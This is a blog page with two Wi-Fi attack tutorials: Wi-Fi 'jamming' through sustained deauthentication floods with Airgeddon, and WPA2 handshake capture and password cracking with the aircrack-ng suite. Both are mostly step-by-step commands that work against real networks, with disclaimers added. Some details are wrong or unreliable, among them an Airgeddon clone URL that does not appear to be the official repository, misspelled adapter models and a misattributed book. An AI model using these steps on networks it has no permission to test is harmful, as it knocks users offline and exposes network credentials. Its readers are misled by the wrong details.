Showing posts with label wireless auditing. Show all posts
Showing posts with label wireless auditing. Show all posts

The Art of Digital Disruption: Mastering Wi-Fi Jamming with Airgeddon

The city sleeps, but the network never does. Whispers of compromised access points, rogue devices, and unauthorized intrusions echo in the digital ether. In this concrete jungle of data, sometimes the only way to understand the defenses is to probe them, hard. Today, we're not just talking about security; we're dissecting it, tearing down the illusion of connectivity to reveal the vulnerabilities beneath. This isn't for the faint of heart. This is about control, about understanding the flow, and sometimes, about stopping it dead in its tracks.

In the shadowy realm of network operations, the ability to control the airwaves isn't just a technical feat; it's a strategic advantage. Airgeddon enters the arena as a multi-Bash network auditor, a Swiss Army knife for the discerning network operator. Among its formidable capabilities lies the art of Wi-Fi jamming – effectively disrupting wireless communications. This isn't about malicious intent; it's about understanding the physics of wireless, the protocols, and the chilling ease with which denial-of-service can be achieved. On this episode of Cyber Weapons Lab, we delve deep into the installation, configuration, and practical application of its jamming functionalities. When executed with precision, this technique can render a wireless network inoperable across multiple blocks, a stark reminder of the fragility of our interconnected world.

Understanding the Landscape: Why Jam?

The wireless spectrum, a seemingly invisible highway of data, is surprisingly susceptible to disruption. Wi-Fi jamming, at its core, is a denial-of-service (DoS) attack against wireless networks. It operates by flooding the target frequency with noise or malformed packets, overwhelming the access point and its clients, thereby preventing legitimate communication. While often associated with nefarious activities, understanding this capability is crucial for:

  • Network Assessment: Identifying vulnerabilities in Wi-Fi security by testing its resilience against jamming.
  • Incident Response: Understanding how a jamming attack might manifest and how to potentially mitigate it.
  • Countermeasures Development: Building more robust wireless security solutions by understanding their weaknesses.

Ethical hackers and security professionals must grasp these offensive techniques to build more effective defenses. The journey to securing a network often begins with understanding how it can be broken.

Arsenal Acquired: Setting Up Airgeddon

Before we can orchestrate chaos, we need the right tools. Airgeddon, a powerful Bash script, is our weapon of choice. It aggregates numerous network auditing tools into a single, user-friendly interface, streamlining complex tasks. Installation is typically straightforward on most Linux distributions, particularly Debian-based systems like Kali Linux or Ubuntu.

Installation Steps:

  1. Update System Packages: Ensure your system is up-to-date.
    sudo apt update && sudo apt upgrade -y
  2. Install Dependencies: Airgeddon requires several supporting packages.
    sudo apt install -y git dkms build-essential linux-headers-$(uname -r) python3-pip aircrack-ng reaver bully 
    # Additional dependencies might be required based on your system and Airgeddon version.
    # Consult the official Airgeddon repository for the most up-to-date list.
  3. Clone the Airgeddon Repository: Download the script from its official source.
    git clone https://github.com/vaysserre-jeremy/airgeddon.git
  4. Navigate to the Directory: Change into the cloned directory.
    cd airgeddon
  5. Run the Installation Script: Execute the installer.
    sudo ./airgeddon.sh

    The script will guide you through the process, identifying and installing any missing dependencies.

Configuring Your Network Adapter for Monitor Mode

Jamming Wi-Fi signals requires your network adapter to operate in 'monitor mode.' This mode allows the adapter to capture all network traffic within its range, not just traffic addressed to it. Many wireless cards support this, but compatibility can vary. Airgeddon will attempt to manage this, but manual checks are often necessary.

Verifying Monitor Mode:

  1. Identify Your Wireless Interface: Use `iwconfig` or `ip a`. It's typically something like `wlan0` or `wlan1`.
  2. Enable Monitor Mode (if needed): Airgeddon usually handles this, but you can do it manually.
    sudo airmon-ng check kill 
    sudo airmon-ng start wlan0
    # Replace wlan0 with your interface name. This will create a new interface, typically named wlan0mon.

The Offensive Playbook: Executing the Jamming Attack

With Airgeddon installed and your adapter in monitor mode, the stage is set. Airgeddon's interface presents various modules, one of which is dedicated to Wi-Fi jamming.

Steps to Initiate Jamming:

  1. Launch Airgeddon:
    sudo ./airgeddon.sh
  2. Select the Jamming Module: Navigate the menu options to find the deauthentication or jamming attack section. Airgeddon often uses the term 'Deauthentication Attack' which, when sustained, functions as jamming.
  3. Choose Your Target:
    • Scan for Networks: Airgeddon will list available Wi-Fi networks in range, along with their BSSID (MAC address of the access point) and channel.
    • Select Target AP: Choose the network you intend to disrupt by selecting its corresponding number.
    • Select Target Client (Optional): For more focused attacks, you can select a specific client device connected to the AP. However, for widespread disruption akin to jamming, targeting the AP is more effective.
  4. Initiate the Attack: Confirm your selection. Airgeddon will then begin sending deauthentication or disassociation packets to clients and the access point, effectively cutting them off from the network. The intensity and duration can often be configured within the script.
"In the digital realm, awareness is the first line of defense. To defend effectively, one must understand the attacker's toolkit. Airgeddon illuminates this path, showing not just how to break, but how to fortify."

The Fallout: Assessing the Impact and Exit Strategy

A successful jamming operation can effectively create a dead zone for Wi-Fi connectivity. The impact can range from minor inconvenience for a few users to a complete outage spanning several blocks, depending on the power of your adapter, the density of the network, and the environmental factors.

Understanding the Nuances:

  • Range Limitations: Your adapter's transmit power and antenna gain significantly affect the range of the jamming effect.
  • Channel Hopping: Modern Wi-Fi networks operate on multiple channels. To jam effectively across a wider area, you might need to target multiple channels sequentially or use adapters capable of monitoring/transmitting on multiple channels simultaneously (which requires advanced hardware and configurations).
  • Legality and Ethics: It is imperative to understand that using Wi-Fi jamming tools is illegal in most jurisdictions without explicit authorization. This tutorial is for educational purposes only, demonstrating defensive understanding by exploring offensive capabilities. Unauthorized use can lead to severe penalties.

Veredicto del Ingeniero: ¿Vale la pena adoptar Airgeddon para la auditoría?

Airgeddon is a powerful aggregator for network auditing, particularly for those familiar with the command line. Its strength lies in consolidating numerous tools, offering a streamlined experience for tasks like Wi-Fi auditing and penetration testing. For jamming, it leverages existing, well-understood techniques like deauthentication floods.

  • Pros:
    • Consolidates multiple powerful tools into one interface.
    • Simplifies the process of Wi-Fi auditing and attack simulation.
    • Excellent for learning and understanding network vulnerabilities.
    • Actively maintained, offering continuous updates.
  • Contras:
    • Steep learning curve for absolute beginners.
    • Requires a compatible wireless adapter and Linux environment.
    • Jamming capabilities are powerful but carry significant legal and ethical implications.
    • Its effectiveness can be limited by modern Wi-Fi security protocols and hardware countermeasures.

Verdict: For security professionals and ethical hackers aiming to deeply understand wireless network vulnerabilities, Airgeddon is an invaluable asset. It provides a comprehensive platform for simulating attacks and assessing security postures. However, its jamming features demand extreme caution due to legal restrictions.

Arsenal del Operador/Analista

  • Software:
    • Airgeddon: For comprehensive Wi-Fi auditing and attack simulation.
    • Aircrack-ng Suite: The foundational tools for Wi-Fi security testing.
    • Wireshark: Essential for deep packet analysis.
    • Bettercap: A powerful framework for network attacks and monitoring.
  • Hardware:
    • Compatible Wireless Adapter: Look for chipsets known for excellent monitor mode and packet injection support (e.g., Atheros AR9271, Ralink RT3070, Realtek RTL8812AU).
    • High-Gain Antenna: To extend the range of your operations.
  • Certificaciones:
    • Certified Wireless Network Administrator (CWNA): Foundational knowledge of wireless networking.
    • Offensive Security Wireless Professional (OSWP): Specializes in wireless attacks and defenses.
    • CompTIA Security+: Broad cybersecurity foundational knowledge.
  • Libros:
    • "The Hacker Playbook 3: Practical Guide To Penetration Testing" by Peter Kim
    • "Wi-Fi Security & Hacking: Penetration Testing for Professional" by Jonathan M. Katz

Preguntas Frecuentes

¿Es legal usar Airgeddon para hacer jamming?

En la mayoría de las jurisdicciones, operar un dispositivo de jamming Wi-Fi es ilegal sin la debida autorización. Este tutorial es puramente educativo.

¿Qué tipo de adaptador Wi-Fi necesito?

Necesitas un adaptador que soporte 'monitor mode' y, preferiblemente, 'packet injection'. Chipsets como los de Atheros son altamente recomendados.

¿Puede Airgeddon romper contraseñas WPA/WPA2?

Airgeddon integra herramientas que pueden asistir en este proceso, como Aircrack-ng, pero la fuerza bruta para romper contraseñas robustas es un proceso computacionalmente intensivo y a menudo requiere diccionarios grandes y tiempo considerable.

¿Cómo puedo defenderme contra ataques de jamming?

La defensa contra jamming es compleja. Algunas estrategias incluyen el uso de frecuencias menos congestionadas, la implementación de sistemas de detección de interferencias, y en entornos críticos, el uso de soluciones de malla inalámbrica con capacidades de auto-sanación y redundancia.

El Contrato: Asegura tu Perímetro Digital

Your understanding of the digital battlefield is your greatest asset. You've seen how Airgeddon can disrupt the flow of wireless data, essentially silencing the air. Now, consider this: what if the critical infrastructure you rely on is operating on a similar, vulnerable wireless link? Your contract is to think defensively. Armed with this knowledge of disruption, identify one critical wireless system in your environment (or one you interact with daily). How would you test its resilience against this type of attack, ethically and legally? Map out the steps, the tools you'd *hypothetically* use, and the metrics you'd track to ensure its operational integrity under duress. The real win isn't in causing disruption; it's in preventing it.

Mastering WPA2 WiFi Handshake Cracking with Kali Linux: A Deep Dive

Introduction

The airwaves hum with invisible data, a constant stream of signals that most people take for granted. But to those who know where to look, it’s a battlefield. Encryption, a supposed shield, often turns out to be a paper-thin veil easily torn by a keen eye and the right tools. Today, we're not just talking about WiFi passwords; we're talking about understanding the fundamental handshake that secures them. This isn't about casual snooping; it's about dissecting a protocol, understanding its vulnerabilities, and knowing how to leverage that knowledge, whether for defense or assessment. The glow of the monitor is our spotlight in this digital alleyway, and Kali Linux is our lockpick.

The WPA2 handshake, specifically the four-way handshake, is the critical moment where a client device authenticates with an Access Point (AP). If you can capture this exchange, you hold the key to brute-forcing the Pre-Shared Key (PSK) – the very password protecting the network. This process requires patience, precision, and the right technical kit. We'll walk through the full spectrum, from hardware selection to cracking the final password, ensuring you understand each step’s rationale.

Network Adapters: The Foundation of Your Operation

Not all network interfaces are created equal when it comes to deep packet inspection and manipulation. For serious WiFi security operations, you need an adapter that supports monitor mode and packet injection. Trying to perform these actions with your built-in laptop Wi-Fi card is like trying to pick a complex lock with a butter knife. You need specialized tools.

"The right tool for the job isn't just about capability; it's about efficiency and reliability. In the world of wireless security, this means a capable adapter."

For this operation, adapters like those from Alfa Network are well-regarded in the community. Models such as the Alfa AWUS036NHA or the Alfa AWUSO36NH are popular choices. They provide the necessary chipset support for monitor mode and packet injection, making them indispensable for capturing WPA2 handshakes. Investing in a reputable adapter is your first step towards a successful operation. Consider these options as essential pre-mission gear.

Network Adapters:

  • Alfa AWUS036NHA: Link
  • Alfa AWUSO36NH: Link

The Command-Line Arsenal: Essential Tools

Kali Linux is a treasure trove for security professionals, packed with utilities designed for various security tasks. When it comes to WiFi, a few key players stand out:

  • airmon-ng: Your initial interface configurator. It’s used to put your wireless adapter into monitor mode, allowing it to passively capture all wireless traffic in its vicinity, not just traffic directed at your specific machine.
  • airodump-ng: The reconnaissance tool. Once your adapter is in monitor mode, airodump-ng scans for nearby WiFi networks, displays their SSIDs, MAC addresses (BSSIDs), channels, and encryption types. It's your radar in the wireless spectrum.
  • aireplay-ng: The disruptor. This utility is used to inject packets into the network. In the context of WPA2 cracking, it’s often used to send deauthentication packets to a connected client, forcing it to re-authenticate and thereby generating the crucial four-way handshake.
  • aircrack-ng: The brute force engine. Once you have captured the handshake, aircrack-ng is used to attempt to crack the password by running it against a wordlist. The effectiveness of this step hinges heavily on the quality and comprehensiveness of your wordlist.
  • Wireshark: While not strictly part of the aircrack-ng suite, Wireshark is invaluable for analyzing the captured handshake. It provides a deep, granular view of the packet exchange, allowing you to verify the handshake capture and understand the underlying communication.

Mastering these commands is non-negotiable. They are the bedrock upon which your WiFi security assessments will be built. Each command has a specific role, and understanding their interplay is key to success.

Setting Up the Operation: Kali Linux Environment

Your operation begins within the secure confines of Kali Linux. Ensure you’re running a recent version – older versions might lack support for newer chipsets or contain outdated tools. A stable, updated system is paramount. The commands available will fluctuate slightly between versions, but the core functionality remains consistent.

Verify Kali Version:


cat /etc/os-release
uname -a

After booting up Kali, plug in your specialized network adapter. The system should recognize it. You can verify this by listing your network interfaces. Use `ip addr` or the more traditional `iwconfig` to see your available wireless interfaces. You'll typically see your built-in adapter (e.g., `wlan0`) and your external adapter, which might also be named `wlan0` or something similar depending on how the system enumerates it. It's crucial to identify the correct interface for your external adapter before proceeding.

Check Interfaces:


ip addr
iwconfig

Before initiating monitor mode, it's wise to check for any processes that might interfere. Network daemons or other running services can conflict with the tools used for packet capture and injection. `airmon-ng check kill` is your first line of defense, designed to identify and terminate these conflicting processes. This step is often overlooked by novices, leading to frustrating capture failures.

Kill Conflicting Processes:


sudo airmon-ng check kill

Surveillance Phase: Discovering Your Target

With your adapter ready and conflicts resolved, it's time for reconnaissance. The `airodump-ng` tool is your primary instrument here. You’ll initiate monitor mode on your chosen wireless interface. Let’s assume your external adapter is identified as `wlan0mon` after `airmon-ng` has done its work.

Start Monitor Mode:


sudo airmon-ng start wlan0

Verify that the interface is now in monitor mode. `airmon-ng` itself can confirm this, or you can revert to `iwconfig`, which should show the interface name appended with 'mon' (e.g., `wlan0mon`) and indicate it's in monitor mode.

Verify Monitor Mode:


sudo airmon-ng
# Or, to confirm interface status:
iwconfig

Now, launch `airodump-ng` to scan the wireless landscape. This command will list all visible WiFi networks, along with critical information:

  • BSSID: The MAC address of the Access Point.
  • ESSID: The network name.
  • CH: The channel the AP is operating on.
  • ENC: The encryption type (WPA2, WPA, WEP, etc.).

Focus on identifying a WPA2-encrypted network that has at least one client connected. A handshake cannot be captured if no device is actively communicating with the AP. You need a target with traffic.

Discover WiFi Networks:


sudo airodump-ng wlan0mon

To streamline your operation and focus on a single target, you can instruct `airodump-ng` to monitor a specific network by its BSSID and channel. This prevents your terminal from being flooded with irrelevant data. Replace `[BSSID]` with the target AP's MAC address and `[Channel]` with the identified channel.

Focus on a Single Network:


sudo airodump-ng -c [Channel] --bssid [BSSID] wlan0mon

Example using hypothetical data:


sudo airodump-ng -c 2 --bssid 90:9A:4A:B8:F3:FB wlan0mon

During this surveillance phase, observe the "STATION" column. This lists the MAC addresses of clients currently connected to the target AP. You'll need one of these to prompt the handshake capture.

The Handshake Capture: Isolating the Target

Once you've identified a target network and a connected client, you can initiate the capture. `airodump-ng` is again your tool, but this time with specific parameters to save the captured data to a file. The `-w` flag specifies the output filename prefix. We’ll use `hack1` as an example.

Capture WPA2 Four-Way Handshake (Initial Setup):


sudo airodump-ng -w hack1 -c [Channel] --bssid [BSSID] wlan0mon

This command should be run in a separate terminal window. `airodump-ng` will start scanning, and as it captures packets, it will write them to files prefixed with `hack1` (e.g., `hack1-01.cap`). The critical indicator you're waiting for is in the top-right corner of the `airodump-ng` display: "WPA handshake: [BSSID]". When this appears, you have successfully captured the handshake.

WPA2 Four-Way Handshake Captured (Indicator):

It’s important to understand that the WPA2 handshake is a sequence of four messages exchanged between the client and the AP. Simply being present in monitor mode might allow you to capture this if it occurs naturally. However, in controlled assessments, you often need to expedite this process.

Attack Vector: Forcing the Handshake

Waiting for a spontaneous handshake can take an eternity. To speed things up, attackers often employ a deauthentication attack. This involves sending specially crafted deauthentication packets to a connected client, effectively forcing it to disconnect from the AP. When the client attempts to reconnect, it must perform the WPA2 four-way handshake, which you can then capture.

The `aireplay-ng` tool is used for this purpose. You'll need the BSSID of the target AP and the MAC address of a connected client (the "station"). The `--deauth 0` flag indicates an unlimited number of deauthentication packets, while `-a [BSSID]` specifies the AP's MAC address. Replace `[BSSID]` with your target's MAC address. If you want to target a specific client, you would add `-c [Client_MAC]`.

"The deauthentication attack exploits a weakness in the 802.11 protocol itself. It's designed for management, but like many management features, it can be abused."

Deauthenticate Clients:


sudo aireplay-ng --deauth 0 -a [BSSID] wlan0mon

Run this command in a *third* terminal window. You should see `aireplay-ng` reporting the number of deauthentication packets sent. Switch back to your `airodump-ng` window. You should observe the "WPA handshake" counter incrementing shortly after initiating the deauthentication attack and the client reconnecting.

Example using hypothetical data:


sudo aireplay-ng --deauth 0 -a 90:9A:4A:B8:F3:FB wlan0mon

Once `airodump-ng` confirms the handshake capture (indicated in the top right corner), you can stop the deauthentication attack and terminate the `airodump-ng` process (Ctrl+C).

Analysis and Cracking: Breaking the Encryption

You now have the captured handshake data, typically stored in a `.cap` file (e.g., `hack1-01.cap`). For a preliminary inspection, you can use Wireshark. Open the `.cap` file in Wireshark and filter for "EAPOL" (Extensible Authentication Protocol over LAN). This will show you the WPA/WPA2 handshake messages. Verifying the handshake in Wireshark ensures that you captured the full four-way exchange and not just partial packets.

Open the Capture File in Wireshark:


wireshark hack1-01.cap

Filter for EAPOL messages:

Inside Wireshark, in the filter bar, type: eapol and press Enter.

Now comes the moment of truth: cracking the password. This is where `aircrack-ng` comes into play, combined with a wordlist. The effectiveness of this step is directly proportional to the quality of your wordlist. For standard WPA2 PSK networks, the `rockyou.txt` wordlist is a common starting point. It's a large, widely used wordlist containing many common passwords.

You'll need to ensure `rockyou.txt` is unzipped and accessible on your Kali system. Its typical location is `/usr/share/wordlists/rockyou.txt`.

The command is straightforward: specify the captured `.cap` file and the path to your wordlist. Replace `hack1-01.cap` with your actual capture file name.

Crack WPA2 Password with Wordlist:


aircrack-ng hack1-01.cap -w /usr/share/wordlists/rockyou.txt

If the network's password is present in your wordlist, `aircrack-ng` will eventually find it and display it. This process can take anywhere from minutes to days, depending on the password's complexity, the wordlist's size, and your hardware's processing power. For significantly stronger passwords (long, complex, non-dictionary words), brute-force attacks using GPU acceleration or specialized hardware become necessary. This is where investing in hardware becomes critical for serious pentesting.

Password Cracked (Success Indicator):

Post-Operation: Returning to Managed Mode

Once your cracking attempt is complete, or you've finished your assessment, it's vital to return your wireless interface to its normal operating mode (managed mode). This allows it to connect to WiFi networks normally again.

Stop Monitor Mode:


sudo airmon-ng stop wlan0mon

Then, you can use `ifconfig wlan0 up` or simply reconnect to a known network to bring it back to a fully managed state.

Veredict of the Engineer: Is This Method Sustainable?

From an attacker's perspective, this method is highly effective against WPA2-PSK networks, especially when the password is weak or common. It’s a staple in any ethical hacker’s toolkit for Wi-Fi penetration testing. However, its reliance on capturing a handshake means it's ineffective against WPA2 Enterprise (which uses 802.1X authentication and often RADIUS servers) or WPA3, which introduces stronger security mechanisms like Simultaneous Authentication of Equals (SAE).

Pros:

  • Directly targets the WPA2-PSK credential.
  • Leverages readily available tools in Kali Linux.
  • Effective against networks with weak or common passwords.

Cons:

  • Ineffective against WPA2 Enterprise or WPA3.
  • Success heavily depends on the wordlist quality and password complexity.
  • Can be detected if the deauthentication attack is monitored.
  • Requires specialized hardware for efficient cracking.

For defensive purposes, the takeaway is clear: use strong, unique passwords, consider WPA3 if your hardware supports it, and implement network monitoring to detect deauthentication attacks.

Arsenal of the Operator/Analyst

To execute operations like these with professional efficiency, you need the right gear and knowledge.

  • Software:
    • Kali Linux: The undisputed OS of choice for offensive security.
    • Aircrack-ng Suite: Essential for wireless auditing.
    • Wireshark: For deep packet analysis.
    • Hashcat/John the Ripper: For more advanced password cracking, especially GPU-accelerated attacks.
    • Python: For scripting custom tools and automating tasks (e.g., iterating wordlists, analyzing results).
  • Hardware:
    • Compatible Wireless Adapters: Alfa AWUS036NHA, Alfa AWUSO36NH, Panda PAU09, etc. (Ensure chipset compatibility).
    • High-Performance CPU/GPU: For brute-forcing captured handshakes.
  • Books:
    • "The Wi-Fi Hacking Cookbook" by Anand Sundaram
    • "The Hacker Playbook 3: Practical Guide To Penetration Testing" by Peter Kim
    • "Network Security Assessment: Know Your Network" by Tod Beardsley
  • Certifications:
    • CompTIA Network+: Foundation in networking concepts.
    • CompTIA Security+: Foundational security principles.
    • Certified Ethical Hacker (CEH): Broad overview of hacking tools and techniques.
    • Offensive Security Certified Professional (OSCP): Rigorous, hands-on penetration testing certification.

For those serious about mastering wireless security, consider investing in high-quality courses. Platforms like Udemy offer numerous courses on Kali Linux and Wi-Fi hacking. For example, David Bombal's CCNA courses on Udemy (`https://bit.ly/ccnafor10dollars`) provide foundational networking knowledge crucial for understanding wireless protocols. Specialized courses on penetration testing or Wi-Fi security will offer deeper insights and practical labs far beyond a single blog post.

Practical Workshop: Step-by-Step Handshake Capture

Let's consolidate the process into a clear, executable sequence. For this workshop, assume your target network is `TARGET_WIFI` on channel `6`, with BSSID `AA:BB:CC:DD:EE:FF`, and you have a connected client with MAC address `11:22:33:44:55:66`. Your wireless adapter is recognized as `wlan0`.

  1. Prepare Environment:
    • Boot Kali Linux.
    • Plug in your compatible wireless adapter.
    • Open three separate terminal windows.
  2. Initiate Monitor Mode (Terminal 1):
  3. 
    sudo airmon-ng check kill
    sudo airmon-ng start wlan0
    
  4. Scan and Target Lock (Terminal 2):
  5. 
    sudo airodump-ng -w capture_handshake -c 6 --bssid AA:BB:CC:DD:EE:FF wlan0mon
    

    Observe the output. Wait until you see the "WPA handshake: AA:BB:CC:DD:EE:FF" indicator appear in the top right corner.

  6. Deauthenticate Client (Terminal 3):
  7. If the handshake doesn't appear naturally within a few minutes, initiate the deauthentication attack. Note: If you identified a specific client MAC (11:22:33:44:55:66), you can add `-c 11:22:33:44:55:66` to the command for a more targeted attack.

    
    sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
    

    Switch back to Terminal 2. The handshake counter should increase shortly after starting the deauth attack.

  8. Verify and Stop Capture:
  9. Once the handshake is confirmed in Terminal 2, stop the `aireplay-ng` process in Terminal 3 (Ctrl+C) and the `airodump-ng` process in Terminal 2 (Ctrl+C).

  10. Analyze Handshake (Optional):
  11. 
    wireshark capture_handshake-01.cap
    

    Filter for eapol to confirm the handshake integrity.

  12. Crack Password:
  13. 
    aircrack-ng capture_handshake-01.cap -w /usr/share/wordlists/rockyou.txt
    

    Wait for the results. If the password is in `rockyou.txt`, it will be displayed.

  14. Return to Managed Mode:
  15. 
    sudo airmon-ng stop wlan0mon
    

Frequently Asked Questions

Q1: Is cracking WPA2 handshakes legal?

Accessing or attempting to access WiFi networks without explicit permission from the owner is illegal in most jurisdictions. This guide is for educational purposes and responsible security testing on networks you own or have explicit authorization to test.

Q2: What if the password isn't in the rockyou.txt wordlist?

If the password is not found, it means it's either not in the `rockyou.txt` list or it's a much stronger, complex password. You would need to use larger, more customized wordlists, dictionary attacks, or brute-force attacks, potentially leveraging GPU power with tools like Hashcat for a feasible cracking time.

Q3: Can this method be used on WPA3 networks?

No. WPA3-PSK uses Simultaneous Authentication of Equals (SAE), which is significantly more resistant to handshake capture and offline brute-force attacks like this. Specialized attacks are required for WPA3.

Q4: What kind of network adapter is best for this?

You need an adapter with a chipset that supports monitor mode and packet injection. Popular choices include those from Alfa Network (e.g., AWUS036NHA, AWUSO36NH) or Panda Wireless.

Q5: How long does it take to crack a WPA2 password?

It varies drastically. A simple password from `rockyou.txt` might be cracked in minutes. A complex, 12+ character password with mixed case, numbers, and symbols could take years or even be practically impossible with current consumer hardware and standard wordlists.

The Contract: Your First WPA2 Crack

You’ve seen the blueprint, you understand the mechanics. Now, the true test is execution. Your contract is simple: set up a test WPA2 network (using a VM as an AP, or a spare router configured with WPA2-PSK and a known weak password like "password123") and successfully capture and crack its handshake. Document your steps, note the time taken for each phase, and critically, analyze why your chosen password was vulnerable or resilient. Was it the length? The character set? Or the fact it was a common dictionary word? Understanding this will be your only payment.

Now, go. The airwaves are waiting for your probe. Prove you can dissect the signals, not just listen to them. What was your weakest password, and why?